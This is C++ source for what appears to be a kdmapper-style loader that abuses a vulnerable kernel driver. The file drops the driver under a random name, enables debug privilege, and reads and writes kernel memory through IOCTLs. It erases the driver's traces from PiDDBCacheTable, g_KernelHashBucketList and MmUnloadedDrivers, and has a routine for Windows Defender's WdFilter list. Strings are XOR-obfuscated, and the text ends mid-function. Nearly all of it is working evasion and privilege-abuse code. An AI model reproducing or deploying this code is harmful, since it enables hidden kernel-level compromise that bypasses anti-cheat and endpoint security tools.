#include "kd_driver.h" #include "kd_utils.h" //#include "..\Vmp\Vmp.h" HANDLE kd_driver::iqvw64e_device_handle; uint64_t kd_driver::ntoskrnlbase = 0; std::string cachedDriverName = ""; std::wstring kd_driver::GetDriverPath() { std::wstring temp = utils::GetFullTempPath(); if (temp.empty()) { return L""; } return temp + L"\\" + GetDriverNameW(); } std::wstring kd_driver::GetDriverNameW() { if (cachedDriverName.empty()) { //Create a random name char buffer[100]{}; static const char alphanum[] = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; int len = rand() % 20 + 10; for (int i = 0; i < len; ++i) buffer[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; cachedDriverName = buffer; } std::wstring name(cachedDriverName.begin(), cachedDriverName.end()); return name; } bool kd_driver::AcquireDebugPrivilege() { HMODULE ntdll = GetModuleHandleA("ntdll.dll"); if (ntdll == NULL) { return false; } ULONG SE_DEBUG_PRIVILEGE = 20UL; BOOLEAN SeDebugWasEnabled; NTSTATUS Status = nt::RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &SeDebugWasEnabled); if (!NT_SUCCESS(Status)) { Log((L"[-] Failed to acquire SE_DEBUG_PRIVILEGE") << std::endl); return false; } return true; } #include "Ld_BASE.h" bool kd_driver::Load(PDWORD status) { srand((unsigned)time(NULL) * GetCurrentThreadId()); std::wstring driver_path = GetDriverPath(); _wremove(driver_path.c_str()); if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast(Ld_BASE), sizeof(Ld_BASE))) { //驱动文件创建失败 *status = 102; Log((L"[-] Failed to create vulnerable driver file") << std::endl); return false; } if (!AcquireDebugPrivilege()) { //权限提升失败 *status = 103; Log((L"[-] Failed to acquire SeDebugPrivilege") << std::endl); _wremove(driver_path.c_str()); return false; } if (!nt::RegisterAndStart(driver_path, GetDriverNameW())) { *status = 104; //驱动加载或启动失败 Log((L"[-] Failed to register and start service for the vulnerable driver") << std::endl); _wremove(driver_path.c_str()); return false; } // mylink nuwer iqvw64e_device_handle = CreateFileA(XorStr("\\\\.\\esp_link"), GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0); if (iqvw64e_device_handle == INVALID_HANDLE_VALUE) { *status = 105; //链接驱动通信失败 kd_driver::Unload(); Log((L"[-] failed handle !!") << std::endl); return false; } kd_driver::ntoskrnlbase = utils::GetKernelModule("ntoskrnl.exe"); if (!kd_driver::ntoskrnlbase) { //获取内核模块基址失败 *status = 106; kd_driver::Unload(); Log((L"[-] Failed to get ntoskrnl.exe") << std::endl); return false; } auto os = utils::GetVersion(); if (os.dwBuildNumber >= 14393) { if (!kd_driver::ClearPiDDBCacheTable(iqvw64e_device_handle)) { Log((L"[-] Failed to ClearPiDDBCacheTable") << std::endl); kd_driver::Unload(); return false; } if (!kd_driver::ClearKernelHashBucketList(iqvw64e_device_handle)) { Log((L"[-] Failed to ClearKernelHashBucketList") << std::endl); kd_driver::Unload(); return false; } if (!kd_driver::ClearMmUnloadedDrivers(iqvw64e_device_handle)) { Log((L"[!] Failed to ClearMmUnloadedDrivers") << std::endl); kd_driver::Unload(); return false; } //if (!kd_driver::ClearWdFilterDriverList(iqvw64e_device_handle)) { // Log((L"[!] Failed to ClearWdFilterDriverList") << std::endl); // kd_driver::Unload(); // return false; //} } return true; } bool kd_driver::Unload() { if (iqvw64e_device_handle != INVALID_HANDLE_VALUE) CloseHandle(iqvw64e_device_handle); if (!nt::StopAndRemove(GetDriverNameW())) return false; std::wstring driver_path = GetDriverPath(); if (_wremove(driver_path.c_str()) != 0) return false; return true; } auto set_calc_random_val()->_CALC_VERIFY { _CALC_VERIFY Verify{ 0 }; auto a = utils::get_random_val(0, 1000000); auto b = utils::get_random_val(0, 1000000); auto c = utils::get_random_val(0, 1000000); auto d = utils::get_random_val(0, 1000000); Verify.a = a; Verify.b = b; Verify.c = c; Verify.d = d; return Verify; } bool kd_driver::MmCopy(HANDLE device_handle, uint64_t Base, uint64_t Buffer, SIZE_T Size) { _CALC_VERIFY Verify = set_calc_random_val(); Verify.calc_val = utils::calc_comm_verify_check(Verify.a, Verify.b, Verify.c, Verify.d); COMM_INFO memory = { 0 }; memory.case_number = 0x13; memory.destination = (DWORD64)Buffer; memory.source = (DWORD64)Base; memory.length = Size; memory.Verify = &Verify; DWORD bytes_returned = 0; return DeviceIoControl(device_handle, IOCTL_MMCOPY, &memory, sizeof(memory), &memory, sizeof(memory), &bytes_returned, nullptr); } bool kd_driver::read(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size) { return MmCopy(device_handle, Base, (uint64_t)Buffer, Size); } bool kd_driver::write(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size) { return MmCopy(device_handle, (uint64_t)Buffer, (uint64_t)Base, Size); } bool kd_driver::writeEx(HANDLE device_handle, uint64_t Base, uint64_t* Buffer, SIZE_T Size) { /*uint64_t physical_base = 0; if (!GetPhysicalAddress(device_handle, Base, &physical_base)) return false; const auto map_physical_addr = MapIoSpace(device_handle, physical_base, (uint32_t)Size); if (map_physical_addr == NULL) return false; auto result = MmCopy(device_handle, (uint64_t)Buffer, (uint64_t)map_physical_addr, Size); UnmapIoSpace(device_handle, map_physical_addr, (uint32_t)Size);*/ return MdlIoSpace(device_handle, Base, Buffer, Size); // return true; } bool kd_driver::MdlIoSpace(HANDLE device_handle, uint64_t address, uint64_t* Buffer, SIZE_T Size) { _CALC_VERIFY Verify = set_calc_random_val(); Verify.calc_val = utils::calc_comm_verify_check(Verify.a, Verify.b, Verify.c, Verify.d); COMM_INFO memory = { 0 }; memory.case_number = 0x14; memory.destination = (DWORD64)Buffer; memory.source = (DWORD64)address; memory.length = Size; memory.Verify = &Verify; DWORD bytes_returned = 0; return DeviceIoControl(device_handle, IOCTL_MMCOPYEX, &memory, sizeof(memory), &memory, sizeof(memory), &bytes_returned, nullptr); } uint64_t kd_driver::get_kernel_module_export(HANDLE device_handle, uint64_t ker_base, const char* func_name) { IMAGE_DOS_HEADER dos_header{ 0 }; IMAGE_NT_HEADERS nt_hander{ 0 }; kd_driver::read(device_handle, ker_base, (uint64_t*)&dos_header, sizeof(IMAGE_DOS_HEADER)); kd_driver::read(device_handle, ker_base + dos_header.e_lfanew, (uint64_t*)&nt_hander, sizeof(IMAGE_NT_HEADERS)); const auto export_table = nt_hander.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; const auto export_data = reinterpret_cast(VirtualAlloc(nullptr, export_table.Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); kd_driver::read(device_handle, ker_base + export_table.VirtualAddress, (uint64_t*)export_data, export_table.Size); const auto delta = reinterpret_cast(export_data) - export_table.VirtualAddress; const auto func_name_tab = reinterpret_cast(export_data->AddressOfNames + delta); const auto func_index_tab = reinterpret_cast(export_data->AddressOfNameOrdinals + delta); const auto func_address_tab = reinterpret_cast(export_data->AddressOfFunctions + delta); uint64_t func_addr = NULL; for (size_t i = 0; i < export_data->NumberOfNames; i++) { const char* func_names = reinterpret_cast((uint64_t)func_name_tab[i] + delta); if (!strcmp(func_names, func_name)) { const auto func_index = func_index_tab[i]; const auto func_address = reinterpret_cast(func_address_tab[func_index]) + ker_base; func_addr = (uint64_t)func_address; break; } } VirtualFree(export_data, 0, MEM_RELEASE); return func_addr; } uint64_t kd_driver::ExAllocatePool(HANDLE device_handle, BYTE pool_type, SIZE_T size) { const auto ExAllocate = kd_driver::get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("ExAllocatePoolWithTag")); if (!ExAllocate) { Log((L"[!] Failed to find ExAllocatePool") << std::endl); return 0; } uint64_t alloc = 0; kd_driver::func_call(device_handle, (void*)ExAllocate, &alloc, pool_type, size, 'PwtA'); return alloc; } bool kd_driver::FreePool(HANDLE device_handle, uint64_t address) { if (!address) return 0; static uint64_t kernel_ExFreePool = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("ExFreePool")); if (!kernel_ExFreePool) { Log((L"[!] Failed to find ExAllocatePool") << std::endl); return 0; } return func_call(device_handle, (void*)kernel_ExFreePool, nullptr, address); } PVOID kd_driver::RtlLookupElementGenericTableAvl(HANDLE device_handle, nt::PRTL_AVL_TABLE Table, PVOID Buffer) { if (!Table) return nullptr; static uint64_t kernel_RtlDeleteElementGenericTableAvl = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("RtlLookupElementGenericTableAvl")); if (!kernel_RtlDeleteElementGenericTableAvl) { Log((L"[!] Failed to find RtlLookupElementGenericTableAvl") << std::endl); return nullptr; } PVOID out; if (!func_call(device_handle, (void*)kernel_RtlDeleteElementGenericTableAvl, &out, Table, Buffer)) return 0; return out; } BOOLEAN kd_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer) { if (!Table) return false; static uint64_t kernel_RtlDeleteElementGenericTableAvl = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, ("RtlDeleteElementGenericTableAvl")); if (!kernel_RtlDeleteElementGenericTableAvl) { Log((L"[!] Failed to find RtlDeleteElementGenericTableAvl") << std::endl); return false; } bool out; return (func_call(device_handle, (void*)kernel_RtlDeleteElementGenericTableAvl, &out, Table, Buffer) && out); } nt::PiDDBCacheEntry* kd_driver::LookupEntry(HANDLE device_handle, nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name) { nt::PiDDBCacheEntry localentry{}; localentry.TimeDateStamp = timestamp; localentry.DriverName.Buffer = (PWSTR)name; localentry.DriverName.Length = (USHORT)(wcslen(name) * 2); localentry.DriverName.MaximumLength = localentry.DriverName.Length + 2; return (nt::PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(device_handle, PiDDBCacheTable, (PVOID)&localentry); } uintptr_t kd_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) { if (!dwAddress) { Log(L"[-] No module address to find pattern" << std::endl); return 0; } if (dwLen > 1024 * 1024 * 1024) { //if read is > 1GB Log(L"[-] Can't find pattern, Too big section" << std::endl); return 0; } auto sectionData = std::make_unique(dwLen); if (!read(device_handle, dwAddress, (uint64_t*)sectionData.get(), dwLen)) { Log(L"[-] Read failed in FindPatternAtKernel" << std::endl); return 0; } auto result = utils::FindPattern((uintptr_t)sectionData.get(), dwLen, bMask, szMask); if (result <= 0) { return 0; } result = dwAddress - (uintptr_t)sectionData.get() + result; return result; } uintptr_t kd_driver::FindSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, PULONG size) { if (!modulePtr) return 0; BYTE headers[0x1000]; if (!read(device_handle, modulePtr, (uint64_t*)headers, 0x1000)) { Log(L"[-] Can't read module headers" << std::endl); return 0; } ULONG sectionSize = 0; uintptr_t section = (uintptr_t)utils::FindSection(sectionName, (uintptr_t)headers, §ionSize); if (!section || !sectionSize) { Log(L"[-] Can't find section" << std::endl); return 0; } if (size) *size = sectionSize; return section - (uintptr_t)headers + modulePtr; } uintptr_t kd_driver::FindPatternInSectionAtKernel(HANDLE device_handle, const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask) { ULONG sectionSize = 0; uintptr_t section = FindSectionAtKernel(device_handle, sectionName, modulePtr, §ionSize); return FindPatternAtKernel(device_handle, section, sectionSize, bMask, szMask); } PVOID kd_driver::ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize) { ULONG_PTR Instr = (ULONG_PTR)Instruction; LONG RipOffset = 0; if (!read(device_handle, Instr + OffsetOffset, (uint64_t*)&RipOffset, sizeof(LONG))) { return nullptr; } PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset); return ResolvedAddr; } bool kd_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait) { if (!Resource) return 0; static uint64_t kernel_ExAcquireResourceExclusiveLite = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, XorStr("ExAcquireResourceExclusiveLite")); if (!kernel_ExAcquireResourceExclusiveLite) { Log((L"[!] Failed to find ExAcquireResourceExclusiveLite") << std::endl); return 0; } BOOLEAN out; return (func_call(device_handle, (void*)kernel_ExAcquireResourceExclusiveLite, &out, Resource, wait) && out); } bool kd_driver::ExReleaseResourceLite(HANDLE device_handle, PVOID Resource) { if (!Resource) return false; static uint64_t kernel_ExReleaseResourceLite = get_kernel_module_export(device_handle, kd_driver::ntoskrnlbase, XorStr( "ExReleaseResourceLite")); if (!kernel_ExReleaseResourceLite) { Log((L"[!] Failed to find ExReleaseResourceLite") << std::endl); return false; } return func_call(device_handle, (void*)kernel_ExReleaseResourceLite, nullptr, Resource); } bool kd_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver #ifdef PDB_OFFSETS auto PiDDBLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBLock"); if (!PiDDBLockOffset) { Log(L"[-] Warning PiDDBLock not found" << std::endl); return false; } auto PiDDBCacheTableOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBCacheTable"); if (!PiDDBLockOffset) { Log(L"[-] Warning PiDDBCacheTable not found" << std::endl); return false; } PVOID PiDDBLock = (PVOID)(kd_driver::ntoskrnlbase + PiDDBLockOffset); nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)(kd_driver::ntoskrnlbase + PiDDBCacheTableOffset); #else auto PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132 auto PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", "xxxxxx"); // 66 03 D2 48 8D 0D if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as possible PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", "xxx????xxxxx????xxx????x????x"); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now) if (PiDDBLockPtr == NULL) { PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xB2\x01\x66\xFF\x88\x00\x00\x00\x00\x90\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????xx????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 48 8D 0D ? ? ? ? B2 01 66 FF 88 ? ? ? ? 90 E8 ? ? ? ? 4C 8B ? 24 update for build 26100.1000 if (PiDDBLockPtr == NULL) { Log((L"[-] Warning PiDDBLock not found") << std::endl); return false; } else { Log((L"[+] PiDDBLock found with third pattern") << std::endl); PiDDBLockPtr += 19;//third pattern offset } } else { Log((L"[+] PiDDBLock found with second pattern") << std::endl); PiDDBLockPtr += 16; //second pattern offset } } else { PiDDBLockPtr += 28; //first pattern offset } if (PiDDBCacheTablePtr == NULL) { PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, "PAGE", kd_driver::ntoskrnlbase, (PUCHAR)"\x48\x8B\xF9\x33\xC0\x48\x8D\x0D", "xxxxxxxx"); // 48 8B F9 33 C0 48 8D 0D if (PiDDBCacheTablePtr == NULL) { Log((L"[-] Warning PiDDBCacheTable not found") << std::endl); return false; } else { Log((L"[+] PiDDBCacheTable found with second pattern") << std::endl); PiDDBCacheTablePtr += 2;//second pattern offset } } Log((L"[+] PiDDBLock Ptr 0x") << std::hex << PiDDBLockPtr << std::endl); Log((L"[+] PiDDBCacheTable Ptr 0x") << std::hex << PiDDBCacheTablePtr << std::endl); PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7); nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10); #endif //context part is not used by lookup, lock or delete why we should use it? if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) { Log((L"[-] Can't lock PiDDBCacheTable") << std::endl); return false; } Log((L"[+] PiDDBLock Locked") << std::endl); wstring n = GetDriverNameW(); // search our entry in the table nt::PiDDBCacheEntry* pFoundEntry = (nt::PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp, n.c_str()); if (pFoundEntry == nullptr) { Log(L"[-] Not found in cache" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } // first, unlink from the list PLIST_ENTRY prev; if (!read(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Blink)), (uint64_t*)&prev, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't get prev entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } PLIST_ENTRY next; if (!read(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Flink)), (uint64_t*)&next, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't get next entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl); if (!write(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), (uint64_t*)&next, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't set next entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } if (!write(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), (uint64_t*)&prev, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't set prev entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } // then delete the element from the avl table if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) { Log(XOR_STRING_W(L"[-] Can't delete from PiDDBCacheTable") << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } //Decrement delete count ULONG cacheDeleteCount = 0; read(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), (uint64_t*)&cacheDeleteCount, sizeof(ULONG)); if (cacheDeleteCount > 0) { cacheDeleteCount--; write(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), (uint64_t*)&cacheDeleteCount, sizeof(ULONG)); } // release the ddb resource lock ExReleaseResourceLite(device_handle, PiDDBLock); Log(XOR_STRING_W(L"[+] PiDDBCacheTable Cleaned") << std::endl); return true; } bool kd_driver::ClearMmUnloadedDrivers(HANDLE device_handle) { ULONG buffer_size = 0; void* buffer = nullptr; NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); while (status == nt::STATUS_INFO_LENGTH_MISMATCH) { VirtualFree(buffer, 0, MEM_RELEASE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); } if (!NT_SUCCESS(status) || buffer == 0) { if (buffer != 0) VirtualFree(buffer, 0, MEM_RELEASE); return false; } uint64_t object = 0; auto system_handle_inforamtion = static_cast(buffer); for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) { const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i]; if (current_system_handle.UniqueProcessId != reinterpret_cast(static_cast(GetCurrentProcessId()))) continue; if (current_system_handle.HandleValue == device_handle) { object = reinterpret_cast(current_system_handle.Object); break; } } VirtualFree(buffer, 0, MEM_RELEASE); if (!object) return false; uint64_t device_object = 0; if (!read(device_handle, object + 0x8, &device_object, sizeof(device_object)) || !device_object) { //Log(L"[!] Failed to find device_object" << std::endl); return false; } uint64_t driver_object = 0; if (!read(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) { //Log(L"[!] Failed to find driver_object" << std::endl); return false; } uint64_t driver_section = 0; if (!read(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) { //Log(L"[!] Failed to find driver_section" << std::endl); return false; } UNICODE_STRING us_driver_base_dll_name = { 0 }; if (!read(device_handle, driver_section + 0x58, (uint64_t*)&us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) { //Log(L"[!] Failed to find driver name" << std::endl); return false; } auto unloadedName = std::make_unique((ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL); if (!read(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, (uint64_t*)unloadedName.get(), us_driver_base_dll_name.Length)) { //Log(L"[!] Failed to read driver name" << std::endl); return false; } us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver if (!write(device_handle, driver_section + 0x58, (uint64_t*)&us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) { //Log(L"[!] Failed to write driver name length" << std::endl); return false; } //Log(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl); return true; } bool kd_driver::ClearKernelHashBucketList(HANDLE device_handle) { uint64_t ci = utils::GetKernelModule("CI.dll"); if (!ci) { Log(L"[-] Can't Find ci.dll module address" << std::endl); return false; } //Thanks @KDIo3 and @Swiftik from UnknownCheats #ifdef PDB_OFFSETS auto g_KernelHashBucketListOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_KernelHashBucketList"); if (!g_KernelHashBucketListOffset) { Log(L"[-] Can't Find g_KernelHashBucketList Offset" << std::endl); return false; } auto g_HashCacheLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_HashCacheLock"); if (!g_KernelHashBucketListOffset) { Log(L"[-] Can't Find g_HashCacheLock Offset" << std::endl); return false; } PVOID g_KernelHashBucketList = (PVOID)(ci + g_KernelHashBucketListOffset); PVOID g_HashCacheLock = (PVOID)(ci + g_HashCacheLockOffset); #else auto sig = FindPatternInSectionAtKernel(device_handle, "PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), "xxx????x?xxxxxxx"); if (!sig) { Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl); return false; } auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), "xxx"); if (!sig2) { Log(L"[-] Can't Find g_HashCacheLock" << std::endl); return false; } const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7); const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7); if (!g_KernelHashBucketList || !g_HashCacheLock) { Log(L"[-] Can't Find g_HashCache relative address" << std::endl); return false; } #endif Log(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl); if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) { Log(L"[-] Can't lock g_HashCacheLock" << std::endl); return false; } Log(L"[+] g_HashCacheLock Locked" << std::endl); nt::HashBucketEntry* prev = (nt::HashBucketEntry*)g_KernelHashBucketList; nt::HashBucketEntry* entry = 0; if (!read(device_handle, (uintptr_t)prev, (uint64_t*)&entry, sizeof(entry))) { Log(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (!entry) { Log(L"[!] g_KernelHashBucketList looks empty!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return true; } std::wstring wdname = GetDriverNameW(); std::wstring search_path = GetDriverPath(); SIZE_T expected_len = (search_path.length() - 2) * 2; while (entry) { USHORT wsNameLen = 0; if (!read(device_handle, (uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Length), (uint64_t*)&wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) { Log(L"[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (expected_len == wsNameLen) { wchar_t* wsNamePtr = 0; if (!read(device_handle, (uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Buffer), (uint64_t*)&wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) { Log(L"[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } auto wsName = std::make_unique((ULONG64)wsNameLen / 2ULL + 1ULL); if (!read(device_handle, (uintptr_t)wsNamePtr, (uint64_t*)wsName.get(), wsNameLen)) { Log(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } size_t find_result = std::wstring(wsName.get()).find(wdname); if (find_result != std::wstring::npos) { Log(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl); nt::HashBucketEntry* Next = 0; if (!read(device_handle, (uintptr_t)entry, (uint64_t*)&Next, sizeof(Next))) { Log(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (!write(device_handle, (uintptr_t)prev, (uint64_t*)&Next, sizeof(Next))) { Log(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (!FreePool(device_handle, (uintptr_t)entry)) { Log(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } Log(L"[+] g_KernelHashBucketList Cleaned" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } return true; } } prev = entry; //read next if (!read(device_handle, (uintptr_t)entry, (uint64_t*)&entry, sizeof(entry))) { Log(L"[-] Failed to read g_KernelHashBucketList next entry!" << std::endl); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } } if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } bool kd_driver::ClearWdFilterDriverList(HANDLE device_handle) { auto WdFilter = utils::GetKernelModule("WdFilter.sys"); if (!WdFilter) { Log("[+] WdFilter.sys not loaded, clear skipped" << std::endl); return true; } #ifdef PDB_OFFSETS uintptr_t MpBmDocOpenRules = KDSymbolsHandler::GetInstance()->GetOffset(L"MpBmDocOpenRules"); if (!MpBmDocOpenRules) { Log("[-] Failed To Get MpBmDocOpenRules." << std::endl); return false; } MpBmDocOpenRules += WdFilter; uintptr_t RuntimeDriversList_Head = MpBmDocOpenRules + 0x70; uintptr_t RuntimeDriversCount = MpBmDocOpenRules + 0x60; uintptr_t RuntimeDriversArray = MpBmDocOpenRules + 0x68; read(device_handle, RuntimeDriversArray, &RuntimeDriversArray, sizeof(uintptr_t)); uintptr_t MpFreeDriverInfoEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MpFreeDriverInfoEx"); if (!MpFreeDriverInfoEx) { Log("[-] Failed To Get MpFreeDriverInfoEx." << std::endl); return false; } MpFreeDriverInfoEx += WdFilter; #else auto RuntimeDriversList = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\xFF\x05", "xxx????xx"); if (!RuntimeDriversList) { Log("[!] Failed to find WdFilter RuntimeDriversList" << std::endl); return false; } auto RuntimeDriversCountRef = 